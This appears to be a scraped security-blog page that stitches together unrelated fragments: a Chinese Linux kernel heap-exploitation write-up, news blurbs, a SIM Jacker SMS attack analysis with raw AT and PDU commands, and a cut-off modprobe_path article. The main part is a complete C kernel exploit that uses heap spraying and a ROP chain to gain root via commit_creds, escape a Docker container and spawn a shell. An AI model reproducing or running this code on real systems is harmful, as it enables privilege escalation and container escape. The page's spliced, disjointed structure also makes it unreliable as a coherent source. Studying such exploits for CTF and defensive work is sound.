打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。
int tty_alloc_file(struct file *file){
struct tty_file_private *priv;
priv = kmalloc(sizeof(*priv), GFP_KERNEL);
if (!priv)
return -ENOMEM;
file->private_data = priv;
return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
趁 poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer 。
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。
docker逃逸
具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct。
// commit_creds(&init_creds)*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
// current = find_task_by_vpid(getpid())
*rop++ = pop_rdi_ret;
*rop++ = getpid();
*rop++ = find_task_by_vpid;
// current->fs = &init_fs
*rop++ = pop_rcx_ret;
*rop++ = 0x6e0;
*rop++ = add_rax_rcx_ret;
*rop++ = pop_rbx_ret;
*rop++ = init_fs;
*rop++ = mov_mmrax_rbx_pop_rbx_ret;
rop++;
exp #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define PAGE_SIZE 0x1000
int randint(int min, int max) {
return min + (rand() % (max - min));
}
void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
bool is_kernel_text_addr(size_t addr) {
return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
// return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}
bool is_dir_mapping_addr(size_t addr) {
return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}
#define INVALID_KERNEL_OFFSET 0x1145141919810
const size_t kernel_addr_list[] = {
0xffffffff813275c0,
0xffffffff812d4320,
0xffffffff812d4340,
0xffffffff812d4330
};
size_t kernel_offset_query(size_t kernel_text_leak) {
if (!is_kernel_text_addr(kernel_text_leak)) {
return INVALID_KERNEL_OFFSET;
}
for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
&& (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
return kernel_text_leak - kernel_addr_list[i];
}
}
printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
return INVALID_KERNEL_OFFSET;
}
size_t search_kernel_offset(void *buf, int len) {
size_t *search_buf = buf;
for (int i = 0; i < len / 8; i++) {
size_t kernel_offset = kernel_offset_query(search_buf[i]);
if (kernel_offset != INVALID_KERNEL_OFFSET) {
printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
printf("[+] kernel offset: %#lx\n", kernel_offset);
return kernel_offset;
}
}
return INVALID_KERNEL_OFFSET;
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
typedef struct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;
void *alloc_poll_list(void *args) {
int nfds = ((poll_args *) args)->nfds;
int timer = ((poll_args *) args)->timer;
struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
bind_core(true, true);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
poll(pfds, nfds, timer);
bind_core(false, true);
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
}
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
pthread_t poll_tid[POLL_NUM];
void create_poll_thread(size_t size, int timer) {
poll_args *args = calloc(1, sizeof(poll_args));
args->nfds =
(size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
+ N_STACK_PPS;
args->timer = timer;
pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}
void wait_poll_start() {
while (poll_threads != poll_cnt);
}
void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
for (int i = 0; i < poll_threads; i++) {
pthread_join(poll_tid[i], NULL);
if (confuse != NULL) {
confuse(confuse_args);
}
}
poll_cnt = poll_threads = 0;
}
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef unsigned long long u64;
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
#define KEY_NUM 199
int key_id[KEY_NUM];
int key_alloc(int id, void *payload, int payload_len) {
char description[0x10] = {};
sprintf(description, "%d", id);
return key_id[id] =
syscall(__NR_add_key, "user", description, payload,
payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int id, void *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
int key_read(int id, void *bufer, size_t buflen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
int key_revoke(int id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
int key_unlink(int id) {
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
void get_shell(void) {
char *args[] = {"/bin/bash", "-i", NULL};
execve(args[0], args, NULL);
}
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
int cormon_fd;
char buf[0x20000];
void seq_confuse(void *args) {
open("/proc/self/stat", O_RDONLY);
}
size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;
int main() {
bind_core(true, false);
save_status();
signal(SIGSEGV, (void *) get_shell);
cormon_fd = open("/proc_rw/cormon", O_RDWR);
if (cormon_fd < 0) {
perror("[-] failed to open cormon.");
exit(-1);
}
size_t kernel_offset;
int target_key;
puts("[*] Saturating kmalloc-32 partial slabs...");
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
perror("[-] failed to open stat.");
exit(-1);
}
if (i == 2048) {
puts("[*] Spraying user keys in kmalloc-32...");
for (int j = 0; j < KEY_NUM; j++) {
setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
key_alloc(j, buf, 32);
if (j == 72) {
bind_core(false, false);
puts("[*] Creating poll threads...");
for (int k = 0; k < 14; k++) {
create_poll_thread(
PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),
3000);
}
bind_core(true, false);
wait_poll_start();
}
}
puts("[*] Corrupting poll_list next pointer...");
write(cormon_fd, buf, PAGE_SIZE);
puts("[*] Triggering arbitrary free...");
join_poll_threads(seq_confuse, NULL);
puts("[*] Overwriting user key size / Spraying seq_operations structures...");
}
}
puts("[*] Leaking kernel pointer...");
for (int i = 0; i < KEY_NUM; i++) {
int len = key_read(i, buf, sizeof(buf));
kernel_offset = search_kernel_offset(buf, len);
if (kernel_offset != INVALID_KERNEL_OFFSET) {
qword_dump("dump leak memory", buf, 0x1000);
target_key = i;
break;
}
}
if (kernel_offset == INVALID_KERNEL_OFFSET) {
puts("[-] failed to leak kernel offset,try again.");
exit(-1);
}
push_rsi_pop_rsp_ret += kernel_offset;
pop_rdi_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
pop_r14_pop_r15_ret += kernel_offset;
find_task_by_vpid += kernel_offset;
init_fs += kernel_offset;
pop_rcx_ret += kernel_offset;
add_rax_rcx_ret += kernel_offset;
mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
pop_rbx_ret += kernel_offset;
swapgs_ret += kernel_offset;
iretq += kernel_offset;
puts("[*] Freeing user keys...");
for (int i = 0; i < KEY_NUM; i++) {
if (i != target_key) {
key_unlink(i);
}
}
sleep(1);
puts("[*] Spraying tty_file_private / tty_struct structures...");
int tty_fd[TTY_NUM];
for (int i = 0; i < TTY_NUM; i++) {
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (tty_fd[i] < 0) {
perror("[-] failed to open ptmx");
}
}
puts("[*] Leaking heap pointer...");
size_t target_object = -1;
int len = key_read(target_key, buf, sizeof(buf));
qword_dump("dump leak memory", buf, 0x1000);
for (int i = 0; i < len; i += 8) {
struct tty_file_private *head = (void *) &buf[i];
if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
&& head->list.next == head->list.prev && head->list.prev != NULL) {
qword_dump("leak tty_struct addr from tty_file_private", &buf[i],
sizeof(struct tty_file_private));
target_object = (size_t) head->tty;
printf("[+] tty_struct addr: %p\n", target_object);
break;
}
}
if (target_object == -1) {
puts("[-] failed to leak tty_struct addr.");
exit(-1);
}
puts("[*] Freeing seq_operation structures...");
for (int i = 2048; i < SEQ_NUM; i++) {
close(seq_fd[i]);
}
bind_core(false, false);
puts("[*] Creating poll threads...");
for (int i = 0; i < 192; i++) {
create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
}
bind_core(true, false);
wait_poll_start();
puts("[*] Freeing corrupted key...");
key_unlink(target_key);
sleep(1); // GC key
puts("[*] Overwriting poll_list next pointer...");
char key[32] = {};
*(size_t *) &buf[0] = target_object - 0x18;
for (int i = 0; i < KEY_NUM; i++) {
setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
key_alloc(i, key, 32);
}
puts("[*] Freeing tty_struct structures...");
for (int i = 0; i < TTY_NUM; i++) {
close(tty_fd[i]);
}
sleep(1); // GC TTYs
int pipe_fd[PIPE_NUM][2];
puts("[*] Spraying pipe_bufer structures...");
for (int i = 0; i < PIPE_NUM; i++) {
pipe(pipe_fd[i]);
write(pipe_fd[i][1], "aaaaaa", 6);
}
puts("[*] Triggering arbitrary free...");
join_poll_threads(NULL, NULL);
((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;
size_t *rop = (size_t *) buf;
*rop++ = pop_r14_pop_r15_ret;
rop++;
rop++; // ops
// commit_creds(&init_creds)
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
// current = find_task_by_vpid(getpid())
*rop++ = pop_rdi_ret;
*rop++ = getpid();
*rop++ = find_task_by_vpid;
// current->fs = &init_fs
*rop++ = pop_rcx_ret;
*rop++ = 0x6e0;
*rop++ = add_rax_rcx_ret;
*rop++ = pop_rbx_ret;
*rop++ = init_fs;
*rop++ = mov_mmrax_rbx_pop_rbx_ret;
rop++;
// back to user
*rop++ = swapgs_ret;
*rop++ = iretq;
*rop++ = (uint64_t) get_shell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
puts("[*] Spraying ROP chain...");
for (int i = 0; i < 31; i++) {
key_alloc(i, buf, 1024);
}
puts("[*] Hijacking control flow...");
for (int i = 0; i < PIPE_NUM; i++) {
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
sleep(5);
return 0;
}
多试几次还是可以成功的。
Linux kernel 堆溢出利用方法(二)
白帽世界大会 | 京东安全澳门与您相见
白帽世界大会 | 京东安全澳门与您相见
Фальшивые CAPTCHA, реальные кражи: новая схема кибермошенников раскрыта
CVE-2000-0967 | PHP 3.0/4.0 Error Log format string (EDB-220 / Nessus ID 61849)
Arctic Wolf acquires BlackBerry’s Cylance endpoint security assets
Arctic Wolf and BlackBerry announced they have entered into a definitive agreement for Arctic Wolf to acquire BlackBerry’s Cylance endpoint security assets. Cylance is the pioneer of AI-based endpoint protection trusted by thousands of organizations around the world. With this acquisition, Arctic Wolf ushers in a new era of simplicity, flexibility, and outcomes to the endpoint security market, delivering the security operations results customers have been asking for. Under the terms of the agreement, BlackBerry … More →
The post Arctic Wolf acquires BlackBerry’s Cylance endpoint security assets appeared first on Help Net Security.
Kali Linux 2024.4 released! 14 new shiny tools added
Kali Linux 2024.4 includes a broad set of updates and changes. The summary of the changelog since the 2024.3 release from September: Python 3.12 – New default Python version (Au revoir pip, hello pipx). The end of the i386 kernel and images – Farewell x86 (images), but not goodbye (packages). Deprecations in the SSH client: DSA keys – Reminder about using ssh1 if required. Raspberry Pi Imager customizations support: Able to alter settings at write … More →
The post Kali Linux 2024.4 released! 14 new shiny tools added appeared first on Help Net Security.
SIM Jacker攻击分析
2019年9月12日,AdaptiveMobile Security公布了一种针对SIM卡S@TBrowser的远程攻击方式:Simjacker。攻击者使用普通手机发送特殊构造的短信即可远程定位目标,危害较大。sim卡的使用在手机上的使用非常普遍,所以一旦SIM卡上出现什么问题就会造成非常大的影响。在19年的报告纰漏中,在全球估算共有10亿设备的sim卡容易遭受SIM Jacker攻击,这篇也是比较浅显的对整个攻击进行分析。
1.一点点背景在了解整个攻击前需要对整体的一个框架有所了解,现在我们就先来了解一下短信是如何去发送的。GSM的中文就是全球移动通信系统,是由欧洲电信标准组织ETSI 制定的一种数字制式的蜂窝移动通信系统。当初开发 GSM目的是让全球各地可以共同使用一个移动电话网络标准,让用户使用一部手机就能行遍全球,因此GSM 还有一个很接地气的俗称------全球通。
GSM与它以前的标准相比较而言最大的不同是它的信令和语音信道都是数字式的,因此GSM 被看作是第二代(2G)移动电话系统。 短信(Short MessageService,SMS)是基于 GSM(全球移动通信系统)网络标准的通信服务之一,SMS允许通过 GSM 网络发送和接收文本消息。现在来看看整个短信的发送流程。
这里面中最主要涉及到了三个很重要的主体:发送者,短信中心,接收者。也就是我们的短信必须经过短信中心的转发才能到达接收者的SIM卡上。这里面也涉及到了很多基站的不同功能,比较完整的发送详细的可以看这个https://zhuanlan.zhihu.com/p/41439805。
以下是具体的步骤:
-
发送者编辑短信,通过无线信号(SIM)将消息内容发送到基站
-
基站收到消息内容经过一系列网元处理将其转发到运营商短信服务中心
-
运营商短信服务中心经过一系列网元处理将数据转发到接收者附近的基站
-
接收者附近的基站将短信内容发送到接收者
GSM收发短消息又分三种模式:BLOCK 模式、TEXT 模式和PDU 模式。BLOCK模式现在用的很少了;TEXT 模式则只能发送ASCII码,它不能发送中文的UNICODE码(确切地讲,从技术上来说是可以用于发送中文短消息的,但是国内的手机基本上不支持);而PDU模式开发起来则较为复杂,它需要编写专门的函数来将文本转换为PDU格式,但PDU模式被所有手机支持,可以使用任何字符集,它也是手机默认的编码方式。接下来我们来主要了解在这个模式下短信的格式。
以一个现实里的例子去讲解这个,这些是16进制的表示
0891683108200805F011190D91683188902848F40008FF108FD9662F4E0067616D4B8BD577ED4FE1
短信中心地址字段 0891683108200805F0
FirstOctet字段 11
消息参考值 19
接收者号码字段 0D91683188902848F4
协议标识 00
编码方法 08
有效期 FF
用户数据长度 F10
用户数据 8F......E1 短信中心地址字段这个就是短信中心的地址,一般SIM卡都已经写好了,所以这里还有一个很常见的写法就是00,表示默认。08表示字节长度,9168表示的就是+86,表示的是在中国的号码,然后后面跟着号码。
FirstOctet字段这个字段非常重要,涉及到许多设置,每一bit都有用处,先将十六进制下的11换成二进制的00010001,
我们从最低位开始,从右往左看
-
首先我们看的就是01(对这俩位得连在一起看),这俩位表示的是这个短信的类型,最常见的有俩种SMS-SUBMIT、SMS-DELIVER。SMS-SUBMIT表示移动终端设备发送到短信中心,SMS-DELIVER表示短信中心发送到移动终端设备,对应的分别是01和00,这里是01,表示就是这是一条发送者的短信
-
接下来就是第2位0,表示是否要接收重复的消息
-
然后是10,这里表示了短信有效期的形式,10表示使用的相对时间,这也是常用的设置
-
然后就是第5位啦,这是一个非常有意思的参数,返回短信状态报告。用通俗的话讲就是告诉发送者接收者是否已经接收到了短信,这里面所蕴含的信息在USENIX23上被用来实现了定位
-
然后第6位就是用户数据头标示,当它等于0的时候就是表明这是一个短信消息,如果是一个OTA消息呢,比如SIM
jacker,就得设置为1
-
第7位是设置回复路径,每个SIM卡都设置了一个短信中心的号码,如果设置为0,那么接收者接回复短信时用的也是发送者的短信中心;如果这个是1,那么接收者将使用自己的短信中心
用一下别人的表,大家可以来对照一下:
消息参考值这个值有点像ID,范围是0~255,如果一个短信被分成了多片,短信中心可以依据这个值将其进行组合
目标地址这个同短信中心的设置,不过这里的0D表示的数字的长度,表示有几个数字
协议标识符它是表明一条短信的用途或协议,它不仅用于传统的短信传输,也用于传输其他类型的信息,如传真、电子邮件或无线应用协议(WAP)消息。00表示的没有什么特殊的协议,静默短信的设置也涉及到这个,需要将这个修改成40,这个静默短信发送给接收者是完全没有任何提示的
数据编码方案指明这个pdu的编码方式是什么,PDU收发短信有三种编码可用:7-bit、8-bit和UCS2编码,00为7Bit编码,04是8bit,08是UCS2编码,到后面的可以表达的内容更多,7bit简单的英文到UCS2编码可以发送中文。
帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:dctintin,备注 “安全脉搏” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
这里根据前面常见的设置就是相对有效期,FF表示最大30天,00最小5分钟
用户数据长度后面跟着的数据的长度
3.一点点实验了解到了一个PDU模型,短信的格式,一个标准的pdu可以直接用在线的网站进行生成,http://www.sendsms.cn/pdu/,大部分格式限定后,就可以修改部分设置
现在pdu格式有了,该如何发呢,这种最简单的情况就是去网上买个GSM模块,插上一张可以收发短信的SIM卡就可以直接用了,但考虑到大家只是简单了解一下,也不一定非得买个专门的设备,所以我们这里使用一个大家肯定都有的设备的,一台root过的手机。我使用的是魅族m3note,比较好root,大家也可以试试。
首先先接入adb进行调试,已经确定获得了root权限
因为安卓为linux系统修改的,所以一切皆文件,插入的sim卡也会被映射成一个文件,可以进行操作
一个示例如下
现在我们需要找到插入SIM卡之后的对应的文件,最简单的方式就是对比插入前后的对比找到
查看/proc/devices ,不过并没有变化,这里判断应该是准备着有接口,已经存在。
使用demsg,但是因为数据线处于连接状态充电,会有很多杂乱信息,而且魅族上使用的也不是smd* ,这里也可以尝试一个一个去找,但也会有很多问题。
这里找到一个比较好的办法,查看设备的radio日志
logcat -b radio | grep dev
先挂起日志监控,在插入SIM卡后,会输出大量信号,这里就成功定位到了SIM卡所映射的设备
因为每个设备对换行的接收不一样,所以建议几种方式一起去试,一个例子如下:
echo -e "AT+COPS?" > /dev/pts/4\echo -e "AT+COPS?\r" > /dev/pts/4\echo -e "AT+COPS?\r\n" > /dev/pts/4\echo -e "AT+COPS?\n" > /dev/pts/4\echo -e "AT+COPS?;" > /dev/pts/4\echo -e "AT+COPS?;\r" > /dev/pts/4\echo -e "AT+COPS?;\r\n" > /dev/pts/4\echo -e "AT+COPS?;\n" > /dev/pts/4
之后逐一筛选,选择合适的结尾,这里是\n
然后发送一条短信试试
echo -e "AT+CMGF=0\n" > /dev/pts/4 # PDU模式\echo -e "AT+CMGS=20\n" > /dev/pts/4 # 字符长度\echo -e "0031000D9168xxxxxxxxxxxx00000005E8329BFD0632\n" >/dev/pts/4
之后就可以在接收者那收到短信,32 对应ctrl\^z,是发完短信的结束符,不算入总长度
4.SIM Jacker了解完前面三个部分,大家有了一些基本的了解,接下来我们就来看看SIMJacker这个攻击,一些具体的影响后果啥的就不去细究了,主要还是了解背后的一些原理。
(1)OTA消息OTA 消息,也称为二进制消息,是包含一组(U)SIM 应用程序工具包(USAT)命令的特定 APDU 消息,这些消息针对 SIM卡内的特定应用程序,而这些应用程序又执行消息本身提供的USAT命令,这些命令包括:设置呼叫、发送短信、更新SIM 信息、编辑 SIM 文件等。
OTA 消息通常设计为从运营商发送到用户,服务提供商可以引入新的 SIM服务、修改 SIM的内容、执行软件更新、配置设置,甚至更新移动设备的加密密钥。
正是因为这一特性的存在导致了SIMJacker的发生,也就是OTA消息也可以由一个用户发送,而非短信中心。
SIM Jacker发生的条件主要有三个:
-
短信中心可以接受并转发PDU消息
-
接收者能够解析SIM应用工具包命令的PDU消息
-
SIM上部署了S@T浏览器技术,并且设置了"不应用任何安全措施"的最低安全级别
其他的一些条件,比如主动 UICC 命令等这些都是默认开启的,这里就不在提及。
让我在回到PDU模式短信那块,在FirstOctet字段中有一位可以将普通的用户数据,变成对SIM卡特定应用的程序的执行命令,就是要将第6位的用户数据头标示设置成1。也有很多是SIMjacker的攻击中的PDU是0041开头的。
先用一张图开始:
前面的部分和之前一样,主要来解释一下后面的UD部分:
-
先开始的是用户数据头,包含了俩部分
一个是是用户数据头的字节长度,另一个是用户数据头的设置,可以设置是否包含安全头。
-
命令包包含有关消息安全性、消息发往哪个应用程序以及我们想要执行的实际命令是什么等非常重要的信息。
-
命令包长度是整个命令包的字节长度:
-
命令头长度是命令头的字节长度:
-
命令头由6 个不同的值组成:
安全参数指示符(SPI)指定是否对消息应用任何安全性,在SIMjacker中要将SPI设置如下:SPI = 0x0000
加密密钥标识符(KIC)所使用的加密类型,我们将其设置为:KIC = 0x00
密钥标识符 (KID)指定用于加密的密钥,我们将其设置为:KID = 0x00
目标应用程序参考 (TAR)标识了我们将向其发送消息的 SIM卡上的应用程序,我们将其设置为S@T 浏览器:
TAR = 0x505348
计数器和填充计数器 (CNTR & PCNTR),这些值的设置如下:CNTR =0x0000000000PCNTR= 0x00
-
安全数据(S@T/STK 命令)(关键)
这是有效载荷中最重要的部分,它包含我们希望S@T浏览器应用程序代表我们执行的命令。这些命令是使用STK字节码构建的,例如,它可以用于设置呼叫和发送短信。
(2)示例分析一个具体的例子就在下面
AT+CMGF=0\AT+CMGS=69\>0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121...2D0C100383...2B00(CTRL + Z)
将这些结构对应回图上,
现在检测或者进行的SIM jacker的工具已经有了,大家拿一个SIMTester和一个读卡器就可以了,不过国内的SIM卡没有这方面的攻击案例,自己测试也没有找到这方面的案例。
SIM Jacker攻击分析
Linux kernel 堆溢出利用方法(三)
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path(虽然在高版本内核已经不可用了但ctf比赛还是比较常用的)。再通过两道近期比赛的赛题来讲解。
Arbitrary Address Allocation 利用思路通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是,内核的 slub 堆管理器缺少检查,因此对要分配的目标地址要求不高,不过有一点需要注意:当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist,而这通常并非一个有效的地址,从而导致 kernel panic,因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。
当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量,其值为 /sbin/modprobe ,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。
当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:
entry_SYSCALL_64()sys_execve()
do_execve()
do_execveat_common()
bprm_execve()
exec_binprm()
search_binary_handler()
__request_module() // wrapped as request_module
call_modprobe()
其中 call_modprobe() 定义于 kernel/kmod.c,我们主要关注这部分代码:
static int call_modprobe(char *module_name, int wait){
//...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
if (!info)
goto free_module_name;
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
//...
在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。 我们不难想到的是:若是我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。
或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。
__int64 _request_module(char a1,
__int64 a2,
double a3,
double a4,
double a5,
double a6,
double a7,
double a8,
double a9,
double a10,
...)
{
......
if ( v19 )
{
......
v21 = call_usermodehelper_setup(
(__int64)&byte_FFFFFFFF82444700, // modprobe_path
(__int64)v18,
(__int64)&off_FFFFFFFF82444620,
3264,
0LL,
(__int64)free_modprobe_argv,
0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700 ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700 db 2Fh ; / ; __request_module+14B↑o ...
.data:FFFFFFFF82444701 db 73h ; s
.data:FFFFFFFF82444702 db 62h ; b
.data:FFFFFFFF82444703 db 69h ; i
.data:FFFFFFFF82444704 db 6Eh ; n
.data:FFFFFFFF82444705 db 2Fh ; /
.data:FFFFFFFF82444706 db 6Dh ; m
.data:FFFFFFFF82444707 db 6Fh ; o
.data:FFFFFFFF82444708 db 64h ; d
.data:FFFFFFFF82444709 db 70h ; p
.data:FFFFFFFF8244470A db 72h ; r
.data:FFFFFFFF8244470B db 6Fh ; o
.data:FFFFFFFF8244470C db 62h ; b
.data:FFFFFFFF8244470D db 65h ; e
.data:FFFFFFFF8244470E db 0 exp #include "src/pwn_helper.h"
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9
size_t modprobe_path = 0xFFFFFFFF81E48140;
size_t seq_ops_start = 0xffffffff81228d90;
struct param {
size_t len;
size_t *buf;
long long idx;
};
void alloc_buf(int fd, struct param* p)
{
printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);
ioctl(fd, BOF_MALLOC, p);
}
void free_buf(int fd, struct param* p)
{
printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);
ioctl(fd, BOF_FREE, p);
}
void read_buf(int fd, struct param* p)
{
printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);
ioctl(fd, BOF_READ, p);
}
void write_buf(int fd, struct param* p)
{
printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);
